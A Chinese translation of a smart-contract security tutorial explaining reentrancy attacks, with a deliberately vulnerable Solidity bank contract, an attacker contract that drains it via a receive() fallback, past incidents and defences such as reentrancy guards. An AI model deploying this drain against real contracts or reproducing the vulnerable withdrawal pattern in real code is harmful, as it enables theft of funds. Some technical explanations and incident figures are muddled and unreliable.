本文深入探讨了重入攻击在智能合约中的漏洞,介绍了重入攻击的原理、类型以及如何实施和防御它。通过构建受害者合约与攻击者合约的实例,读者能够直观理解攻击过程,同时了解历史上的攻击实例和防护措施。文章结构清晰,逻辑严谨,是学习重入攻击的重要参考资料。
你听说过重入攻击,想知道它是什么吗?这份快速指南将深入探讨关于重入操纵的所有知识。
所需条件
基础智能合约和 EVM 的理解
基础 Solidity 知识
访问 Remix IDE 或 VScode。如果选择使用 VScode,请确保前往扩展市场并安装 Juan Blanco 的 Solidity 扩展。
自从以太坊社区在 2015 年启动以来,他们一直在努力促进人与区块链之间的互动。这导致了第一个去中心化自治组织 The DAO 的创建。
不幸的是,次年 The DAO 遇到了一个不幸事件,一些黑客通过一种名为 重入攻击 的恶意行为 盗取了大约 6000 万美元。
这个攻击你听说过吗?让我们进一步深入了解它。
重入攻击 是一种智能合约漏洞,利用攻击者合约利用受害者合约的漏洞不断从中提取资金,直到受害者合约破产。攻击者合约能够重入的主要原因是受害者合约未能及时确认攻击者的余额。
首先,必须强调的是,智能合约之间交互的重要方式是通过调用彼此。因此,智能合约 X 可以调用智能合约 Y 来存入一些代币。一般程序是,合约 X 会尝试检查调用合约是否有足够的代币,然后再进行存入。
在重入的情况下,攻击者合约将存入受害者合约,然后发起提取请求。讽刺的是,攻击者智能合约的开发者故意没有给予该合约接收代币的能力。因此,当受害者合约天真地发送一些代币时,攻击者合约将无法接收这些代币,这种不匹配会触发回退函数,当出现此类异常时,此函数会接收以太。但攻击者合约将拥有比默认回退函数更多的操控代码,它将调用受害者合约以继续发送以太。虽然受害者合约的一部分仍然期望调用合约具有提取功能,但攻击者合约将欺骗受害者合约的另一部分,持续发送以太(或其他代币)。
这就是重入是如何在智能合约基础上工作的。为了帮助理解,让我们进一步通过实际场景解释重入。
假设在一个小城市里有一家名为人民银行的银行。每个人都把钱存放在那里,银行的总流动资金为 10 万美元。
现在,银行存在一个会计缺陷,即当人们提取资金时,银行的工作人员并不会立即更新记录,而是等到一天结束时进行全面审查和更新所有人的余额。由于没有客户曾尝试提取超过他们账户余额的资金,因此这一缺陷未被发现。
让我们想象一个场景,其中一个名叫约翰的人,他还不是银行的客户,注意到他的朋友们每次提现时,只有在晚上 6 点才收到提现及余额的通知。约翰决定在人民银行开设账户并存入 1000 美元。
接下来的一个星期,约翰在手机上打开银行的应用程序并提取了 1000 美元。5 分钟后,他再次进行提取。由于银行尚未更新约翰的余额,他的记录仍然显示约翰在账户中有 1000 美元的存款,尽管他已经提取了这笔款项。
这持续进行,直到约翰提取了银行所有的 10 万美元,而工作人员直到当天结算时才发现约翰欺骗了他们的系统。尽管重入可以更复杂,但这只是攻击者可能如何进行的一个简单插图。
通过我们以上的技术和现实生活的解释,你应该对重入有了更好的理解。
接下来,我们将开始动手构建一个合约,并创建一个攻击者合约进行重入。首先,让我们创建我们的假设银行。
步骤 1:创建新文件
前往 Remix,并创建一个名为 “TheBank.sol” 的文件。声明你想要的编译器版本,在这种情况下,我们使用了最新版本 - 0.8.17。这个将是受害者合约**。
步骤 2:为余额创建映射
**银行将存在多个地址。为了跟踪地址的数量,将地址映射到 uint 是明智之举。
mapping(address => uint) theBalances;
步骤 3:存款函数
在一个理想的银行中,客户应能够存款。你需要创建一个代表该行为的函数,使其可见性为公共,并使其为 payable,以便该函数能够接收以太。
添加一个要求,即银行的客户只能存入 1 以太或以上,不能少于这个数。若存款地址通过了此检查,则在合约内部增加资金的值。
function deposit() public payable {
require(msg.value >= 1 ether, "cannot deposit below 1 ether");
theBalances[msg.sender] += msg.value;
}
步骤 4:提取函数
接下来,创建一个提取函数。将提取函数中发送者的余额检查设置为等于或大于 1 以太。否则,应有错误信息显示试图提取的人员必须满足该要求。
由于我们将在调用中使用 theBalances[msg.sender],将其分配给 bal 变量以增加可组合性和可读性。我们做了一个与当前编译器版本相符的底层转账调用。
然后,减少 msg.sender 的余额:
function withdrawal() public {
require(theBalances[msg.sender] >= 1 ether, "must have at least one ether");
uint bal = theBalances[msg.sender];
(bool success, ) = msg.sender.call{value: bal} ("");
require(success, "transaction failed");
theBalances[msg.sender] -= 0;
}
步骤 5:获取总余额
你还需要一个函数 totalBalance,返回银行中的总余额。编写这个 getter 函数并使其返回参数为 uint,因为我们期望得到数字。
然后,return address(this).balance 为合约中的以太余额的全局变量。
function totalBalance() public view returns(uint) {
return address(this).balance;
}
完成后,你的代码应如下所示:
pragma solidity ^0.8.17;
contract TheBank {
mapping(address => uint) theBalances;
function deposit() public payable {
require(msg.value >= 1 ether, "cannot deposit below 1 ether");
theBalances[msg.sender] += msg.value;
}
function withdrawal() public {
require(
theBalances[msg.sender] >= 1 ether,
"must have at least one ether"
);
uint bal = theBalances[msg.sender];
(bool success, ) = msg.sender.call{value: bal}("");
require(success, "transaction failed");
theBalances[msg.sender] -= 0;
}
function totalBalance() public view returns (uint) {
return address(this).balance;
}
}
在我们成功创建了受害者合约后,我们要编码攻击者合约吗?
步骤 1:创建新文件
在 Remix 上创建一个新文件,并将其命名为 “TheAttacker.sol”。这将是攻击者合约。
步骤 2:导入 TheBank 合约
攻击者合约需要与 TheBank 合约进行交互。因此,你必须在声明编译器版本后立即导入它。
但你必须注意一个重要的事情:
如果你创建两个合约时使用的是同一 pragma 声明,则根本不需要导入。
步骤 3:创建状态
你不能直接与 TheBank 的名称进行交互。因此,你必须将其存储在一个变量中,这里是 TheBank。
像之前为余额所做的那样,创建一个地址到数字的映射并命名为 balances。
在构造函数中初始化状态变量。首先,将 theBank 的地址传递到参数中。然后将 'TheBank' 设置为 'TheBank' 的合约地址 - 受害者合约。
TheBank public theBank;
mapping(address => uint) public balances;
constructor(address _thebankAddress) {
theBank = TheBank(_thebankAddress);
}
步骤 4:回退函数
记住,回退函数是重入攻击的核心成分,所以声明你的回退函数。然后创建一个 if 语句,只要受害者的地址余额等于或大于 1 以太,就应继续调用 theBank 的提取函数。
receive() external payable {
if(address(theBank).balance >= 1 ether) {
theBank.withdrawal();
}
}
步骤 5:攻击函数
现在是时候在攻击函数中进行攻击了。要求输入的值必须为 1 以太及以上。用 1 以太调用 theBank 的存款函数。然后也调用 theBank 的提取函数。
function attack() external payable {
require(msg.value >= 1 ether);
theBank.deposit{value: 1 ether} ();
theBank.withdrawal();
}
步骤 6:获取余额
这与我们之前创建的 totalBalance 函数的工作原理相同:
function getBalances() public view returns(uint) {
return address(this).balance;
}
到最后,你的代码应如下所示:
pragma solidity ^0.8.17;
import "TheBank.sol";
contract TheAttacker {
TheBank public theBank;
mapping(address => uint) public balances;
constructor(address _thebankAddress) {
theBank = TheBank(_thebankAddress);
}
receive() external payable {
if (address(theBank).balance >= 1 ether) {
theBank.withdrawal();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
theBank.deposit{value: 1 ether}();
theBank.withdrawal();
}
function getBalances() public view returns (uint) {
return address(this).balance;
}
}
完成这些后,是时候编译和部署代码了;你可以在 Remix 或 VScode 上执行此操作。
步骤 1:部署 TheBank 合约
你需要先部署这个合约。
步骤 2:部署 TheAttacker 合约
选择一个不同的账户或地址,然后可以使用 TheBank 合约的合约地址在构造函数中部署这个合约。
步骤 3:向 TheBank 合约存入资金
向银行存入 7 以太
步骤 4:尝试向 TheAttacker 合约存入 1 以太
选择另一个账户或地址以用于部署攻击者合约,并尝试存入 1 以太。
当你使用存入 1 以太调用攻击函数时,最后你会获得 8 个以太;你已成功执行了一次重入攻击!
下一节将介绍不同类型的重入攻击。
没有单一的重入方式;这完全取决于每个合约的特殊性。因此,需要有创造力以推导出攻击每个合约的最实际方式。
重入攻击可以以以下形式出现:
单函数重入
一个易受攻击的函数可能会破坏整个合约。这就是为什么逐行审计代码是好的原因。以这个函数为例:
function withdrawal() public {
require(theBalances[msg.sender] >= 1 ether, "you must have at least one ether");
uint bal = theBalances[msg.sender];
(bool success, ) = msg.sender.call{value: bal} ("");
require(success, "transaction failed");
theBalances[msg.sender] -= 0;
}
这里的漏洞在于,余额并未在发送以太之前更新,而是在之后。如果这个函数出现在某个合约中,攻击者可以利用它。
交叉函数重入
一旦两个或多个函数共享相同的状态变量,任何一个的弱点可能使攻击者能够攻击其他关键函数,即使它们在某种程度上得到了保护。
mapping(address => uint) private theBalances;
function withdrawalAll() external noReentrant {
uint balance = getUserBalance(msg.sender);
require(balance > 1 ether, "must have a balance of 1 ether or more");
(bool success, ) = msg.sender.call{value: balance} ("");
require(success, "transaction failed");
theBalances[msg.sender] = 0;
}
function transfer(address _recipient, uint _theAmount) external payable {
if(theBalances[msg.sender] >= _theAmount) {
theBalances[_recipient] += _theAmount;
theBalances[msg.sender] -= _theAmount;
}
}
withdrawal 函数部分安全,因为它有重入保护,但仍然存在一个漏洞:开发者没有在执行检查的影响之前更新状态。
因此,从 withdrawAll 函数的转账行开始,攻击者可以调用 transfer 函数。同时,请注意,转移函数根本没有任何安全措施。
有了这个,攻击者可以在同一时间段内提取并仍然转移代币,很可能会 siphon 光所有资金。 withdrawAll 函数中的一个小漏洞打开了一扇更大漏洞的门,这解释了交叉函数重入如何发生。
交叉合约重入
交叉合约重入的运作机制类似于交叉函数重入。在交叉合约重入攻击中,两个合约必须共享相同的状态。
实际的漏洞将发生在状态未果正更新,以反映即时交易变化之前的任何低级或高级交叉合约调用。
委托重入
在低层次,当合约 X 成功调用合约 Y 的 delegatecall 时,该调用使前者能够运行后者的代码。然而,我们必须强调,delegatecall 不会调用其他合约的状态。
EVM 仅会执行调用合约的状态变量。回到重入,如果 delegatecall 是针对一个脆弱的合约或库,攻击者可以操控目标并重新进入。
作为最古老且最常见的以太坊智能合约攻击类型之一,重入操纵导致大多数 DeFi 项目终结。
让我们查看几个,没有特定顺序:
与通常认为 DAO 黑客是区块链上第一次黑客的假设不同,WETH 攻击实际上是第一次。但是,它是 intentional 重入黑客,以拯救项目免受攻击者可能的重入。
Rari Capital 是一个流行的 DeFi 借贷和收益协议。在 2021 年 5 月,攻击者利用合约从 dYdX 借了一大笔贷款,然后操控 approval 函数,获利并重复该过程,直到在不到一个小时的时间内 siphon 了 2600 个以太。
Cream Finance 的攻击者通过合约中的 doTransferOut 函数漏洞潜入。攻击者借入一些代币并成功跳过还款。
Fei Protocol 的剥削流程与黑客如何重新进入 Cream Finance 合约非常相似。黑客借款几乎 2000 美元 USDC,绕过付款,拿回他们的贷款,然后再次重复这一过程。
作为 NFT 借贷协议,攻击者利用 NFTs 向该协议借入包装以太。不幸的是,对于攻击者来说,该协议处于测试阶段,所以池中没有真实资金。
攻击者合约借了一些钱作为抵押,以在 Ola Finance 协议上进行贷款。当代码执行时,攻击者合约成功移除了抵押品,并同时拿走了借入的资金。
与其他 NFT 合约一样,HypeBears 合约使用 ERC-721 标准。然而,攻击者操控了 safeMint 函数使其触发回退函数并多次重入该合约。
Paraluni 攻击非常显著。当攻击者合约操控 depositByAddLiquidity 函数以扭曲 ID,重入并带走近 200 万美元。
这个攻击的发生是交叉函数重入的典型例子。攻击者发现某个彼此依赖的弱函数,并因此成功获取了 200 万美元。
根据团队发布的事后报告,攻击者合约触发了 tokenReceived 函数并清空了锁定合约。
许多协议因重入攻击而遭受了巨大的资金损失。因此,以太坊核心团队提供了一些帮助性建议,一些其他安全专家制定了最好的智能合约实践,以避开重入。
重入保护
攻击者可以重入,因为他们可以使多个功能同时运行。重入保护通过阻止多个重要功能的同时执行来解决此问题。
bool internal locked;
modifier noReentrant() {
require(!locked, "cannot reenter");
locked = true;
_;
locked = false;
}
function withdrawalAll() external noReentrant {
uint balance = getUserBalance(msg.sender);
require(balance > 1 ether, "your balance could be 1 ether or more");
(bool success, ) = msg.sender.call{value: balance} ("");
require(success, "transaction failed");
theBalances[msg.sender] = 0;
}
要创建重入保护,首先建立一个布尔变量。然后创建一个修饰符;在修饰符中放置一个检查,初始为 false,执行后变为 true。
如果你想将其用于保护某个函数,请在作用域后面输入它作为修饰符。作为替代方案,你可以导入 OpenZeppelin 的重入保护实现。
检查和效果约定
你是否还记得我们在这本指南开头给出的银行插图?银行的缺陷在于它没有确认客户的当前余额,因此允许提款。
通过检查和效果约定,必须确保在允许任何外部调用之前更新余额。
而不是让你的重要函数像这样:
function withdrawalAll() external noReentrant {
uint balance = getUserBalance(msg.sender);
require(balance > 1 ether, "your balance ould be 1 ether or more");
(bool success, ) = msg.sender.call{value: balance} ("");
require(success, "transaction failed");
theBalances[msg.sender] = 0;
}
而是应该这样:
function withdrawalAll() external noReentrant {
uint balance = getUserBalance(msg.sender);
require(balance > 1 ether, "your balance ould be 1 ether or more");
theBalances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: balance} ("");
require(success, "transaction failed");
}
你必须在设置要求检查后立即更新你的状态,这就是为什么你应该注意合约的执行流。
拉取支付约定
重入攻击仅在攻击者合约成功与受害者合约交互时发生。那么,如果有一个充当中介的鸿沟呢?在这种情况下,重入的主要逻辑受到阻碍,变得无效。
在拉取支付模式中,主合约将资金发送到保管账户,而不是立即发放这些资金,条件成立的情况下。你可以在合约中 导入拉取支付依赖。
同时,这提出了单点故障的问题;一旦攻击者渗透到保管账户,主合约将因此变得易受攻击。
应急停止模式
开发者现在更加谦逊地接受,没有合约是完美的,无论涉及的开发者和审计员的声誉如何。因此,最好的方法是为任何紧急情况做好准备。
这就是应急停止模式背后的原因,一些工程师称之为可暂停约定。通过这种模式,你可以在发现任何可疑活动时立即暂停提款。
你可以将其 导入到你的状态,并遵循余下的实现,使其在你的合约中工作。
智能合约测试与审核
测试是智能合约安全的重要部分。测试你的智能合约代码有多种方式,例如手动测试(例如执行功能调用并手动检查值)或自动测试(例如使用脚本和模糊测试和单元测试等方法)。无论如何,我们建议,如果你要部署到主网,请找一家信誉良好的审计公司进行智能合约审核。
恭喜你!我们相信你不仅对重入如何工作及其发生的原因有了深刻的理解,更重要的是,你能编写更安全的合约,让黑客尝试而无功而返。
既然你在这里,你还应该查看 如何使用 Ether.js 框架与 Hardhat 构建基于以太坊的 DApps。
你可能对这份重入指南有些问题或反馈,告诉我们。
有想法、问题或想展示你所学的内容吗?在 Discord 让我们知道或通过 Twitter 联系我们。我们很想听到你的声音!
- 原文链接: quicknode.com/guides/eth...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!